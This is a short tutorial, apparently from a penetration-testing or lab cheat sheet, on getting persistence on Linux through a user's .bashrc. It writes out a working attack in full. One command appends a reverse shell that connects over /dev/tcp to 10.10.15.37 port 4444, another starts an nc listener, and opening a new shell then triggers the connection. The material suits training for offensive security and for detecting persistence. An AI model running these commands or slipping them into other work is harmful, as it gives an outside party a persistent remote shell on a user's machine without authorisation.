User Bash Profile

The .bashrc file is commonly executed when a user opens an interactive Bash shell.

If an attacker appends a command to .bashrc, the command will execute whenever that user starts a new interactive shell.

1. Identify a writable Bash startup file
2. Append the persistence command
3. Open a new shell session
4. Verify command execution

Append a command to .bashrc:

echo "/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.37/4444 0>&1' &" >> ~/.bashrc

Start a listener:

nc -lvnp 4444

Trigger execution by opening a new shell:

bash